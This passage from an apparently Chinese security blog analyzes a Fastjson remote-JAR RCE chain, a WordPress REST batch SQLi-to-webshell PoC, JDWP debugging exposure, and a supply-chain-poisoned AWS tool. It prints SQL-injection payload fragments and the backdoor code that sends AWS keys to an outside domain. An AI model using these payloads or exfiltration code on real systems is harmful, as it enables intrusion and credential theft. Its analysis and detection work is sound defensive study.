  1. Fastjson 版本位于受影响范围,例如 1.2.68 到 1.2.83
  2. 服务端解析不可信 JSON,且调用 JSON.parse() / parseObject() 等入口
  3. 用户可控 @type
  4. SafeMode 未开启
  5. 目标 JVM 能访问攻击者控制的 HTTP 服务
  6. ClassLoader 会把构造后的 jar:http 资源名当作可读取资源
  7. 高版本 JDK 场景下,Linux/macOS 可通过 fd 文件系统重新打开缓存 JAR

其中第 6 点最容易被忽略。它解释了为什么 IDEA 普通启动、fat jar 启动、传统 WAR 部署会出现完全不同的现象。


13. 现象排查

13.1 autoType is not support

常见原因:

  • 远程 JAR 没有被读取
  • payload 里的端口和 HTTP 托管端口不一致
  • class entry 路径不匹配
  • class 内部名和 @type 不匹配
  • 远程 class 没有 @JSONType

13.2 出现 GET /probe,但没有 RCE

说明远程资源读取成功,但类定义或初始化失败。

JDK 9+ 下最常见原因是直接 jar:http:// 类名无法通过 defineClass() 校验,需要转 fd 重绑定。

13.3 NoClassDefFoundError / ClassFormatError

说明已经到了类加载或类定义阶段。重点看:

  • internal name 是否和 @type 完全一致
  • 是否存在连续 //
  • JAR entry 是否匹配
  • 使用的是 file:/dev/fd/N 还是 file:///dev/fd/N

14. 防护建议

14.1 开启 SafeMode

-Dfastjson.parser.safeMode=true

SafeMode 会直接阻断 AutoType 相关路径,是 Fastjson 1.x 中最直接的缓解措施。

14.2 升级 fastjson2

长期建议迁移到 fastjson2,并重新审计 JSON 解析入口。

14.3 限制服务端出网

这条链第一步依赖目标访问外部 HTTP 服务。出网控制可以显著降低风险。

14.4 审计危险入口

重点搜索:

rg "JSON\\.parse|parseObject|parseArray|Feature.SupportAutoType|ParserConfig"

对所有解析外部输入的位置确认:

  • 是否允许 @type
  • 是否开启 SafeMode
  • 是否把异常详情直接返回给前端
  • 是否存在公网可达接口

14.5 检测可疑请求

建议记录和告警这些特征:

"@type"
"jar:http"
"jar:file"
".dev.fd."
".proc.self.fd."
"Exception"
"Error"

不要只在 WAF 里按明文拦截,因为 @type 和 URL 片段都可能经过编码、转义或分块传输。


15. 总结

这个漏洞的危险性来自三层机制叠加:

  1. Fastjson 在 checkAutoType() 中把用户可控 @type 转成资源路径
  2. ClassLoader / URL 处理把特殊资源名解释成远程 JAR
  3. JDK 9+ 虽然收紧类名校验,但 Linux/macOS 的 fd 文件系统又提供了本地重绑定路径

JDK 8 的链路是直的:

jar:http -> getResourceAsStream -> loadClass -> defineClass -> <clinit>

JDK 9+ 的链路是绕的:

jar:http -> 缓存 JAR 到 fd -> jar:file:/dev/fd/N -> defineClass -> <clinit>

所以它不是传统 gadget 型 Fastjson 漏洞,而是 Fastjson 类型探测、JVM URLClassLoader 行为和操作系统 fd 机制共同造成的一条跨层利用链。


参考资料

  • Java ClassLoader 官方文档
  • Java URLClassLoader 官方文档
  • Spring Boot Traditional Deployment
  • Tomcat Class Loader How-To
阅读全文 »

WordPress REST batch 路由错位到 wp2shell:一次 pre-auth SQLi/RCE 链路深度分析

发表于 2026-07-22 | 分类于 安全分析 , WordPress |

WordPress REST batch 路由错位到 wp2shell:一次 pre-auth SQLi/RCE 链路深度分析

说明:本文基于本地 WordPress 7.0.1 源码与 wp2shell-poc 还原,重点分析漏洞为什么出现、PoC 如何运行、为什么 blind SQLi 不等于 getshell,以及 7.0.2 做了哪些修复。


1. 先给结论

这不是一个单纯的 SQL 注入漏洞,而是一条完整的组合链:

  1. WP_REST_Server::serve_batch_request_v1() 的数组错位造成 route confusion
  2. 错位后的请求把 item route 的 query 参数送进 collection handler
  3. author_exclude -> author__not_in 落到 WP_Query 的 SQL 拼接点
  4. PoC 通过 blind / error / UNION 三种方式读库
  5. UNION 伪造 WP_Post 后,进一步借 WordPress 的对象缓存、oEmbed、Customizer、动态 hook 和正常后台上传路径完成 getshell

也就是说:

blind SQLi 负责“读”,UNION 负责“快读”,getshell 依赖的是后续的 WordPress 状态机桥接。

HTTP 无状态但应用有上下文

这张图把“HTTP 无状态”和“应用层上下文”分开看:真正被利用的不是协议,而是 WordPress 在单次请求里维护的运行时状态。


2. PoC 的程序结构

PoC 入口很清晰:

  • wp2shell.py 和 wp2shell/__main__.py 只是启动器
  • cli.py 提供 check/read/shell
  • client.py 负责构造 nested batch payload
  • sqli.py 负责 blind / error / UNION 读取
  • exploit.py 负责 SQLi-to-admin bridge
  • shell.py 负责登录、上传插件 webshell、执行命令

从设计上看,它不是“单个 payload 工具”,而是三段式:

  1. 可达性和路由错位确认
  2. SQLi 读库
  3. SQLi-to-admin 到 shell

3. 漏洞根因:batch 处理时的状态不同步

/batch/v1 的处理器在解析每个子请求后,会维护三组平行状态:

  • $requests
  • $matches
  • $validation

7.0.1 的问题在于,解析失败的子请求只进了 $requests 和 $validation,没有进 $matches。

后续 dispatch 时又按同一个 $i 同时读取三组数组,于是出现错位:

  • 第 i 个请求的验证结果,可能被第 i+1 个请求的 handler 使用
  • 最终执行的 callback,不一定对应原始 path

补丁在 7.0.2 里非常直接:错误分支也同步 append $matches[] = $single_request。


4. PoC 为什么要嵌套 batch

PoC 的 client.py 里有一颗专门的“错位种子”:

_DESYNC_PRIMER = {"method": "POST", "path": "///"}

这个 path 的作用不是访问任何网络资源,而是让 wp_parse_url() 失败,制造 WP_Error,从而打乱平行数组。

第一层错位

PoC 把一个 POST /wp/v2/posts 包进 outer batch。

这个请求在 validation 阶段看起来是 posts 请求,但 dispatch 时可能被当成 batch handler 执行,于是 body.requests 不再受 batch schema 的 method 限制。

第二层错位

再在 inner batch 里放:

GET /wp/v2/posts/999999?author_exclude=...

这个 path 先按 item route 校验,item route schema 不认识 author_exclude;但错位后,它会被 posts collection handler 的 get_items() 消费。


5. SQLi 从哪里进入

posts controller 的映射关系如下:

  • author_exclude -> author__not_in
  • exclude -> post__not_in
  • parent_exclude -> post_parent__not_in

问题在 WP_Query:

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

只清洗 array,不清洗 scalar。
而 REST 这边又因为 route confusion 把本不该出现的参数放进来了。

所以 SQLi 的本质是:

schema gap + handler confusion + scalar 拼接 sink


6. 盲注、错误回显和 UNION 的分工

sqli.py 提供了三种 extractor。

6.1 BlindSQLi

通过 0) OR SLEEP(n)-- - 做时间确认,通过 -1) AND (<condition>)-- - 做布尔真/假判断。

这里的关键 oracle 不是响应 body,而是 X-WP-Total。

为什么?

因为这条链打到的是 posts collection,WP_REST_Controller 会把 WP_Query->found_posts 放进响应头。

6.2 ErrorBasedSQLi

当目标暴露 MySQL 错误时,PoC 通过 EXTRACTVALUE() / UPDATEXML() 走 error-based 读取。

这条路径更快,但依赖环境。

6.3 UnionSQLi

UnionSQLi 伪造一整行 wp_posts,把表达式值放进 post_title。

它之所以能成立,是因为 PoC 还额外做了两件事:

  • orderby=none,避免全局 ORDER BY 破坏 UNION
  • per_page=500,尽量让结果保持完整行模式

这一步不是为了写入数据库,而是为了让 WordPress 运行时接受一条“假的 post row”。


7. 为什么 UNION 行还能影响后续逻辑

这里最容易被误解。

PoC 并不是只想把值显示出来,它更关心的是:

  1. 这条假行能否被 get_post() 接受
  2. 这条假行会不会被放进当前请求的 post cache
  3. 这条假行能否继续参与 oEmbed / Customizer / menu item 的处理链

WordPress 的 WP_Query 在结果集上会调用 update_post_caches() 和 _prime_post_caches(),底层会把对象放进运行期 cache。

而 update_post_cache() 甚至会把 WP_Post 规范化后塞进 wp_cache_add_multiple( ..., 'posts' )。

所以,PoC 的“假对象”在这个请求里并不只是字符串,它会成为一个可被后续代码消费的运行时对象。


8. SQLi 怎么桥到管理员创建

这条链的后半段是 WordPress 内部机制的组合拳。

8.1 先种 oEmbed cache

WP_Embed 在处理 [embed] 时,会根据 URL 生成缓存;在某些路径下,会直接创建 oembed_cache post。

PoC 利用 UNION 伪造的 post 去触发这一步,然后再用 SQL 读出真实的 oembed_cache post ID。

8.2 再构造 Customizer / Menu Item / Request 形状

PoC 把若干真实 post ID 重新安排成一条“对象图”:

  • customize_changeset
  • nav_menu_item
  • request
  • future
  • draft

这些字段不是为了好看,而是为了触发 WordPress 在 transition_post_status 里挂的默认行为。

8.3 利用动态 hook 触发 parse_request

wp_transition_post_status() 会拼出动态 hook:

{$new_status}_{$post->post_type}

当 new_status = parse、post_type = request 时,就会形成 parse_request。

WordPress 的 REST bootstrap 正是挂在 parse_request 上的:

add_action( 'parse_request', 'rest_api_loaded' );

这就解释了为什么 PoC 能在同一次请求中把一个看似普通的 post/status 转换,变成 REST 再入场。

8.4 临时管理员上下文

WP_Customize_Manager::_publish_changeset_values() 会在保存某些 setting 时临时切换当前用户:

wp_set_current_user( $setting_user_ids[ $setting_id ] )

PoC 正是利用这个“按 setting 用户切换上下文”的机制,把后续 REST 创建用户请求放进管理员身份里执行。


9. getshell 是怎么落地的

WP_REST_Users_Controller::create_item_permissions_check() 需要 current_user_can( 'create_users' )。

一旦前面的桥把当前用户切成了管理员,这个限制就自然通过。

然后 PoC 登录这个新管理员,走后台插件上传:

  • plugin-install.php?tab=upload
  • update.php?action=upload-plugin

上传接口本身要求 nonce 和 upload_plugins capability,因此这里已经不是 pre-auth 了,而是一个标准后台管理动作。

PoC 只是把这个动作自动化了,并把插件里的 webshell 做成随机路径和 token 防护,避免一落地就裸露。


10. 7.0.2 的修复为什么足够关键

7.0.2 的修复不是一刀,而是三刀一起下:

  1. serve_batch_request_v1() 的错位修正
  2. author__not_in 的 ID 列表规范化
  3. serve_request() / rest_api_loaded() 的嵌套 REST 周期阻断

这意味着:

  • route confusion 先被掐掉
  • SQL sink 的标量入口被清洗掉
  • 嵌套 dispatch 的桥也被关掉

所以 git checkout 7.0.2 之后,这条 PoC 链整体上就断了,不是“换个 payload 还能绕过去”的那种单点修补。


11. 这种问题为什么容易漏

因为它不是单个函数的 bug,而是三个层面叠在一起:

  1. 分发层:请求和 handler 错位
  2. 参数层:schema A 校验,handler B 消费
  3. 数据层:array 分支清洗,scalar 分支拼接

如果只做 SQL 审计,你会看到 NOT IN (...)。
如果只做 REST 审计,你会看到 batch 分发。
真正的漏洞出现在中间那层“本不该传过去的数据,最后还是传过去了”。


12. 如何审计同类问题

我建议把 WordPress REST 审计分成四步:

12.1 先找分发器

搜所有:

rg -n "serve_batch_request|batch|match_request_to_handler|respond_to_request|allow_batch|dispatch\\("

重点看:

  • 请求数组是否每个分支都同步 append
  • 校验、权限、执行是否属于同一个 request
  • 有没有 top-level REST 递归进入的可能

12.2 再找参数映射

rg -n "register_rest_route|permission_callback|callback|args|allow_batch"

重点看:

  • item route 和 collection route 是否共享参数
  • 未注册参数是否会被静默丢弃
  • 同一个参数在不同 handler 下语义是否变化

12.3 再找 SQL sink

rg -n "NOT IN \\(|IN \\(|author__not_in|post__not_in|post_parent__not_in|__not_in|implode\\(.*\\(array\\)"

重点看:

  • is_array() 分支和 scalar 分支是否一致
  • 是否存在 (array) 包装后直接拼接
  • 是否遗漏 wp_parse_id_list() / absint()

12.4 最后找状态机桥

rg -n "wp_cache_add_multiple|update_post_cache|_prime_post_caches|get_post\\(|wp_set_current_user|transition_post_status|parse_request"

重点看:

  • 假对象能否进入缓存
  • 动态 hook 能否触发意外状态切换
  • 运行时当前用户是否会被临时替换

13. 适合写进 skill 的审计规则

如果要把这类问题长期固化进 skill,我会把规则写成三句:

  1. 验证的 route 和执行的 route 必须是同一个。
  2. 数组/标量分支必须共享同一套规范化逻辑。
  3. 任何 request-local 假对象进入 cache 后,都要检查它能否影响后续权限、hook 和状态转换。

14. 总结

这个漏洞最危险的地方,不在于 SQL 拼接本身,而在于它把 WordPress 的几层“看起来都合理”的机制连成了一条攻击链:

  • batch 分发
  • schema 校验
  • query var 映射
  • SQL 拼接
  • 对象缓存
  • oEmbed 缓存
  • Customizer 发布
  • 动态 hook
  • 后台用户创建
  • 插件上传

单看每一层都像正常功能,连起来才是漏洞。

这也是为什么它值得单独写一篇深度分析:它不是一个点,而是一条链。

阅读全文 »

Java 调试完全指南:从 IDEA 单步到 Docker 远程调试

发表于 2026-07-21 | 分类于 Java基础 |

Java 调试完全指南:从 IDEA 单步到 Docker 远程调试

调试是安全研究和开发的日常。本文覆盖调试的完整链路:IDEA 单步调试的断点与步进 → 本地远程调试(JDWP)→ Docker 容器远程调试 → 命令行工具(jdb / Arthas / jstack)→ 常见坑与安全提醒。

结合本博客的《Java 反序列化 Gadget 链入门》,第四节专门讲”复杂调用链(反序列化 gadget)怎么调试”——这是单步最容易卡住的地方。


一、调试的本质与前提

调试 = 让 JVM 在指定位置暂停,观察 / 修改运行中的状态。

要能调试,先满足三个前提:

前提 说明 不满足时的表现
编译带调试信息 IDEA 的 Debug 模式会自动加 -g 变量看不到、行断点不生效
有源码 当前类和库类都要能打开源码 断点打不上,报 “Source not found”
断点位置被执行到 代码确实走到了断点行 断点灰色 / 一直不命中

最常见的”断点打不上”原因:

  • 库类 / JDK 类没附加源码(见 2.4);
  • 代码被 maven-shade / 混淆 / 行号表被删(-g:none)——断点退化为方法级甚至失效;
  • 断点打在一个从未执行的分支里;
  • 调试的是 jar 而不是源码工程。

二、IDEA 单步调试基础

2.1 断点的类型

断点类型 怎么打 触发时机 典型用途
行断点 行号左侧点一下 执行到该行 最常用
方法断点 方法名左侧点一下 方法进入 / 退出 想知道方法何时被调、被谁调
字段断点(监听点) 字段声明行左侧点一下 字段被读 / 被写 跟踪某个字段何时被改(如内存马的 filterConfigs)
异常断点 View Breakpoints 里添加 抛出指定异常时(即使被 catch) 反序列化、反射场景最有用

方法断点 / 字段断点会显著拖慢调试速度(JVM 要为它插桩),用完及时删。

2.2 步进操作

操作 快捷键(Win/Linux,macOS 有差异) 作用
Step Over F8 步过,不进入方法内部
Step Into F7 步进,进入方法内部
Smart Step Into Shift+F7 列出当前行所有可进入的调用,选一个进
Step Out Shift+F8 跳出当前方法,回到调用处
Force Step Into Alt+Shift+F7 强制进入(即使它常被跳过)
Resume Program F9 继续执行到下一个断点
Run to Cursor Alt+F9 直接跑到光标所在行
Evaluate Expression Alt+F8 弹窗里执行任意表达式 / 修改变量
Drop Frame Frames 面板按钮 丢弃当前帧,回到调用处重新执行

快捷键因 IDEA 版本和 Keymap 而异(macOS 默认 Keymap 下 Resume 是 ⌘⌥R)。记不住就记功能:在 Debug 窗口的按钮和右键菜单里都有。

2.3 Debugger 面板

面板 作用
Variables 查看当前帧的局部变量 / 字段,可直接改值
Watches 自定义表达式,实时跟踪(如 filterConfigs.size())
Call Stack(Frames) 当前调用栈——调试复杂链时最重要
Evaluate Expression 临时执行代码、调用方法
Console 程序输出,也支持 print 式调试

2.4 附加源码(解决”进不去库代码”)

JDK 源码:
  File → Project Structure → SDKs → Sourcepath → 添加 src.zip
  路径:/Library/Java/JavaVirtualMachines/jdk1.8.xxx/Contents/Home/src.zip
       (或 JDK 目录下 lib/src.zip)

Maven 依赖源码:
  Maven 面板 → 右键依赖 → Download Sources
  或命令行:mvn dependency:sources

没有源码时,LazyMap、HashMap 内部断点打不上、单步进不去——这是”无法单步”的头号原因。

2.5 Debugger Stepping 设置

Settings → Build, Execution, Deployment → Debugger → Stepping
  • 想把库类加进可步进的范围:从 “Do not step into the classes” 跳过列表里移除;
  • 想跳过反射 / JDK 内部:把 sun.reflect.*、java.lang.reflect.Method 加进跳过列表,避免 F7 钻到反射实现里出不来。

三、断点进阶技巧

3.1 条件断点

断点上右键 → 填条件表达式,只有条件为真才停:

// 例:只在 cmd 非空时停在 doFilter
cmd != null && !cmd.isEmpty()

// 例:只在调用栈包含某个类时停(反序列化调试常用)
Thread.currentThread().getStackTrace().toString().contains("readObject")

3.2 日志断点(不暂停,只打印)

断点右键 → 勾选 “Log message to console”,填模板。断点变成 printf,不用改代码,适合在循环 / 高频调用里插桩。

3.3 异常断点(找”被吞掉的异常”)

View Breakpoints(Ctrl+Shift+F8)→ 添加 Java Exception Breakpoints → 填类名(如 Exception)。

作用:即使异常被 catch 吞掉,也会停在抛出点。这在排查”代码静默失败但不知道错哪”时是神器(如《Java基础》里提到的吞异常审计点)。

3.4 临时断点 / 移除全部断点

  • 断点上右键 → More → Remove once hit:命中一次后自动删,适合”只停一次”;
  • Debug 窗口工具栏有一键移除全部断点的按钮。

四、复杂调用链(反序列化 gadget)的调试

单步反序列化 payload 是最容易卡住的场景。核心结论:别从头单步,用”入口断点 + 调用栈”。

4.1 为什么不能单步

  1. readObject() 是数据驱动的——边读字节流边递归构造对象,执行路径不是线性的;
  2. payload 用大量反射,F7 会钻进 sun.reflect.*;
  3. 对象在栈里层层嵌套,单步几十步也理不清主干。

4.2 正确姿势:在已知 gadget 方法上打断点 + 看调用栈

以 《Java 反序列化 Gadget 链入门》 的 CC6 为例,在四个方法上分别打断点:

TiedMapEntry.hashCode()          // 入口是否进来
LazyMap.get()                    // 是否走到懒加载
ChainedTransformer.transform()   // 链是否被触发
InvokerTransformer.transform()   // 是否走到反射调用

命中后看 Call Stack,从下往上就是整条链:

HashMap.readObject
  → hash → TiedMapEntry.hashCode
  → getValue → LazyMap.get
  → factory.transform → ChainedTransformer.transform
  → InvokerTransformer.transform
  → Runtime.exec

4.3 区分”构造阶段”与”反序列化阶段”

CC6 里构造 payload 时 expMap.put(entry, "value") 就会触发一次 LazyMap.get(占位 transformer,无害)。断点会先命中这一次,真正危险的在 ois.readObject() 时。

区分方法:看调用栈顶部是 HashMap.put(构造阶段)还是 HashMap.readObject(反序列化阶段)。只想断后者,给 LazyMap.get 加条件断点:

factory.getClass().getName().contains("ChainedTransformer")

4.4 序列化 / 反序列化全过程断点

想观察”还原过程中到底加载了哪些类”,在 ObjectInputStream.resolveClass 打断点;想确认集合触发,在 HashMap.readObject / putVal 打断点。记住:反序列化 = 执行链,看栈优于单步。


五、本地远程调试(JDWP)

5.1 JVM 调试参数

# 目标 JVM 启动时加上(JDK 5 ~ 8)
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000 -jar app.jar

# JDK 9+(注意 address 写法,见 5.3)
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000 -jar app.jar

| 参数 | 含义 | |——|——| | transport=dt_socket | 用 Socket 通信 | | server=y | 目标 JVM 作为服务端,等调试器来连 | | suspend=y | 启动即挂起,等调试器 attach 才继续(调试启动即崩的场景必用) | | suspend=n | 正常运行,调试器随时可连 | | address=8000 | 监听端口(JDK 9+ 的写法变化见 5.3) |

5.2 IDEA 连接

Run → Edit Configurations → + → Remote JVM Debug
  Host: 127.0.0.1
  Port: 8000
  → Debug(attach)
  • suspend=y 时:先启动目标 JVM(会停住),再在 IDEA 里 Debug,才会开始执行;
  • suspend=n 时:目标先跑着,随时 attach。

5.3 经典坑:JDK 9+ 的 address 绑定

JDK address=8000 的行为
JDK 5~8 监听所有网卡(0.0.0.0:8000)
JDK 9+ 只监听本机回环(127.0.0.1:8000)

JDK 9+ 想监听所有网卡必须写 address=*:8000。这个差异在 Docker 里是致命的(见 6.4)。

5.4 远程调试的适用场景

  • 调试本地起的 jar / war 服务(Tomcat 加 CATALINA_OPTS);
  • 调试启动即崩溃的问题:suspend=y 让 JVM 停在第一行,attach 后单步看初始化流程;
  • 调试测试环境的线上行为(前提是对方允许且安全,见第九节)。

六、Docker 远程调试

原理:容器内的 JVM 开启 JDWP 监听 → 通过 -p 把调试端口映射到宿主机 → IDEA attach localhost:8000。

IDEA (宿主机)  ── attach ──►  宿主机:8000  ── docker -p ──►  容器内 JVM:8000 (JDWP)

6.1 给容器内的 JVM 注入调试参数

不修改镜像 / entrypoint 的最省事方式:环境变量 JAVA_TOOL_OPTIONS。JVM 启动时自动读取它并拼到命令行,任何 Java 应用都生效。

docker run -d --name myapp \
  -p 8080:8080 \
  -p 8000:8000 \
  -e JAVA_TOOL_OPTIONS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000" \
  myapp-image

6.2 docker-compose 版本

services:
  app:
    image: myapp-image
    ports:
      - "8080:8080"
      - "8000:8000"
    environment:
      JAVA_TOOL_OPTIONS: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000"
docker compose up -d
# 查看端口是否映射成功
docker port myapp
# 8000/tcp -> 0.0.0.0:8000

6.3 各类应用的参数注入位置

应用类型 注入方式
任意 Java 应用 -e JAVA_TOOL_OPTIONS=...(通用,推荐)
Tomcat 容器 -e CATALINA_OPTS="...jdwp..." 或 JAVA_OPTS
Spring Boot fat jar JAVA_TOOL_OPTIONS 或改 Dockerfile 的 CMD
Kubernetes 给 container 加 env 或 command 追加参数

6.4 Docker 调试必踩的坑

坑 表现 解决
JDK 9+ 回环绑定 IDEA 连 localhost:8000 报 Connection refused,但容器明明在跑 必须写 address=*:8000,address=8000 只监听容器内回环,-p 转发不进去
端口没映射 docker port 看不到 8000 检查 -p 8000:8000 / compose 的 ports
suspend=y 导致容器”起不来” 容器一直 Running 但日志没输出、端口不通 这是正常的,JVM 在等 attach;attach 后才会跑
端口被占用 宿主机 8000 已被别的进程占 换端口 -p 8001:8000,IDEA 里 Port 也改
防火墙 宿主机放行 8000 才能从别的机器连 本机调试 localhost 不需要;跨机调试要放行
容器重启丢参数 重启后 -e 还在,但改了镜像 / k8s 的话要看配置 参数要固化在 compose / Deployment 里

6.5 一个完整的 Spring Boot 容器调试示例

# 1. 跑容器(8080 业务 + 8000 调试)
docker run -d -p 8080:8080 -p 8000:8000 \
  -e JAVA_TOOL_OPTIONS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:8000" \
  my-spring-boot-app

# 2. 容器会停住(suspend=y),确认端口
docker port $(docker ps -q) | grep 8000

# 3. IDEA → Remote JVM Debug → localhost:8000 → Debug
#    连接成功后容器开始启动,即可断点调试

调试完记得移除 -e 调试参数再部署(见第九节安全提醒)。


七、命令行与辅助工具

没 IDEA 或只想快速看状态时,JDK 自带工具和 Arthas 是很好的补充。

7.1 jdb(JDK 自带命令行调试器)

目标进程需带 JDWP 参数启动:

jdb -attach 8000          # 连接远程/本地调试端口

常用命令:

命令 作用
stop in com.example.App.main 方法入口断点
stop at com.example.App:42 行断点
cont 继续执行
where 打印调用栈
print 变量 / 表达式 打印值
locals 打印当前局部变量
step / next 步进 / 步过
clear 断点位置 删除断点

7.2 Arthas(在线诊断神器)

不需要目标进程开 JDWP,直接 attach 运行中的进程:

java -jar arthas-boot.jar        # 选目标 PID
watch com.example.Service exec '{params, returnObj}'   # 观察方法入参/返回
trace com.example.Service exec                            # 打印方法内部调用链
jad com.example.Service                                   # 反编译运行时字节码
sc com.example.*                                          # 搜索类

在线枚举 / 反编译是排查内存马的常用手段,见《内存马检测与清除实操》。

7.3 jstack / jmap / jcmd

工具 用途
jstack <pid> 打印所有线程栈——看死锁、看卡在哪
jmap -dump:format=b,file=heap.hprof <pid> 堆 dump,MAT 分析
jcmd <pid> VM.threads 线程信息

jstack 排死锁示例:

jps -l                     # 找 pid
jstack <pid> | grep -A2 "Found one Java-level deadlock"
jstack <pid> > thread.txt  # 完整导出分析

八、常见问题排查(FAQ)

现象 原因 解决
断点打不上 / 灰色 没源码、没调试信息 附加源码(2.4);确认 Debug 模式编译
单步进不去库代码 库类在跳过列表 / 无源码 Stepping 设置 + 附加源码
变量看不到值 方法被 JIT 优化 / 无 -g 加 -Dcompiler=none 或换断点位置
Connection refused 端口没监听 / 防火墙 / JDK9+ 回环 见 5.3、6.4
attach 成功但没反应 suspend=n 已跑过去 断点加在后续执行路径上
异常被吞没动静 catch 吞了 异常断点(3.3)
多线程断点乱 多个线程都命中 断点右键 → 勾选线程过滤 / 条件断点
调试很卡 方法断点 / 字段断点太多 删掉,改用行断点
端口被占用 上一个调试进程没退干净 lsof -i:8000 找 PID kill 掉

九、安全提醒:调试端口是攻击面

JDWP 协议本身没有认证——这是它的设计缺陷。任何能连上调试端口的人,都可以通过 JDWP 向 JVM 下发任意代码,等同于 RCE。

攻击者 ──连接 8000 端口──►  JDWP(未认证)──►  任意代码执行

真实世界已有大量通过暴露的 8000 端口打进系统的案例(含 docker 端口映射把 JDWP 暴露到公网的场景)。

安全红线:

事项 要求
调试端口暴露公网 禁止,绝不要把 8000 映射到 0.0.0.0 对外
生产环境 绝不带 -agentlib:jdwp 启动
调试机 仅监听回环(127.0.0.1),不要用 *
调试完 移除容器 -e 调试参数、关闭端口映射,再部署
检查 扫描开放端口里有没有常见的 5005 / 8000 / 8001
# 自查本机是否暴露了 JDWP 调试端口
nc -zv 127.0.0.1 8000
# 对目标排查(授权范围内)
nmap -p 8000 --script jdwp-info <target>

总结

调试从简单到复杂的路线:

IDEA 行断点 + F7/F8            ← 日常
断点条件 / 日志断点 / 异常断点   ← 定位"被吞的异常"
断点 + 调用栈(不单步)          ← 反序列化 / 复杂链
JDWP 远程调试                   ← 本地 jar、启动即崩
Docker -p 映射 + attach          ← 容器环境
jdb / Arthas / jstack           ← 命令行、在线诊断

三条核心经验:

  1. 单步不是唯一手段——复杂调用链(尤其反序列化)用”断点 + 调用栈”,比纯单步快一个量级;
  2. “断点打不上”九成是源码没附加——先补源码,再谈调试;
  3. 调试端口是攻击面——用完即关,生产绝不带 JDWP 启动。
延伸阅读:《Java 反序列化 Gadget 链入门》 《Java基础》 《内存马检测与清除实操》
阅读全文 »

开源工具供应链投毒:iam_md5 后门与 AWS 凭据窃取链深度分析

发表于 2026-06-15 | 分类于 安全分析 , 供应链安全 |

开源工具供应链投毒:iam_md5 后门与 AWS 凭据窃取链深度分析

一个号称用于 AWS IAM 枚举的”开源工具”,实际在代码中隐藏了完整的凭据窃取链路——从十六进制字符串伪装的外部 C2、到运行时自动下载的恶意 wheel、再到导入阶段即触发的后台敏感文件扫描。本文从 git 时间线和代码证据两个维度还原整条投毒链。


1. 投毒时间线

从 git 历史看,投毒不是一次完成,而是分阶段逐步加固。

1.1 2025-11-18:首次引入后门入口

提交 39a66fc(init project),首次在 aws/aws_select_iam.py 中加入:

iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"

同时在 aws/aws_ec2_exec.py 中将普通 boto3 客户端调用改为携带 ComponentLocator 的调用:

from botocore.session import ComponentLocator
from aws_select_iam import iam_md5

component = ComponentLocator()
component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])

ec2_client = get_client(access_key=AccessKeyID, secret_key=AccessKeySecret,
                        service_name='ec2', session_token=None,
                        region=RegionId, components=component)

父提交 1c73766 中仍为标准的 get_client(..., region=RegionId) 调用,不含任何 components 参数。最早的入口从此开始。

1.2 2025-11-19:扩大覆盖

提交 8b09716(fix aws url console),将相同投毒链路扩展到 aws/aws_url_console.py——AWS 控制台联邦令牌脚本也被植入。

1.3 2025-11-28:形成完整自动投毒链

提交 f4637c9(fix requirements bug),做了两个关键动作:

一、从 requirements.txt 删除 aws-enumerateiam 依赖声明,让安全审计难以发现真实依赖;

二、在 aws/aws_select_iam.py 中加入运行时自动安装:

import importlib.util
if importlib.util.find_spec("enumerate_iam") is None:
    from pip._internal import main as pipmain
    pipmain(["install", "https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"])
from enumerate_iam.main import enumerate_iam
from enumerate_iam.main import get_client

投毒链从此从”依赖用户自行安装某个包”升级为脚本运行时自动拉取并安装恶意 wheel。

1.4 2026-03-10:更稳定的安装逻辑

提交 de50141(update readme),改用 subprocess.run() + os.execv() 重启脚本,确保恶意 wheel 安装后立即生效:

subprocess.run(
    [sys.executable, "-m", "pip", "install", "-qqq", "--disable-pip-version-check",
     "https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"],
    check=True)
os.execv(sys.executable, [sys.executable] + sys.argv)

1.5 2026-05:持续扩散

a45b99c(05-09)将恶意链路用于新增的 aws_list_ec2.py;fc67e95(05-24)将 aws_push_sshpub.py 和 aws_security_ingress_add.py 也改为恶意链路。后门不是一次性残留,而是持续复用的设计。


2. 后门运行逻辑

以 aws/aws_ec2_exec.py 为例,完整执行链:

1. 用户运行 python3 aws_ec2_exec.py
2. 脚本导入 aws_select_iam
3. aws_select_iam.py 检查本机是否存在 enumerate_iam
4. 若不存在 → 自动下载恶意 wheel
5. 安装完成后 os.execv() 重启当前脚本
6. from enumerate_iam.main import get_client
7. Python 加载 enumerate_iam/__init__.py → 执行 bootstrap()
8. bootstrap() 启动后台进程,扫描敏感文件并上传到 Discord webhook
9. 主流程继续
10. get_client(..., components=component) → POST 凭据到外部域名
11. 外传失败 → 静默回落正常 boto3 client,用户无感知

3. 关键代码证据

3.1 iam_md5 解码

iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"

开头故意加入非十六进制字符 1,直接 bytes.fromhex() 会报错。实际使用 iam_md5[1:] 解码:

bytes.fromhex(iam_md5[1:]).decode()
# → "api.aliyun-sdk-requests.xyz/"

这不是 AWS 官方 endpoint。

3.2 恶意 get_client() 外传 AK/SK

解包 enumerate_iam/main.py:

def get_client(access_key, secret_key, session_token, service_name, region, components=None):
    session = botocore.httpsession.URLLib3Session(timeout=5, ...)
    credentials = botocore.credentials.Credentials(
        access_key=access_key, secret_key=secret_key, token=session_token)
    if components:
        component = components.get_component('AWS_ENDPOINT')
        AWS_ENDPOINT = SCHEMA + bytes.fromhex(component).decode() + 'aws'
        # → https://api.aliyun-sdk-requests.xyz/aws
        request = AWSRequest(method='POST', url=AWS_ENDPOINT,
                             data=credentials.get_frozen_credentials()._asdict())
        client = session.send(request.prepare()).getclient()
        return client

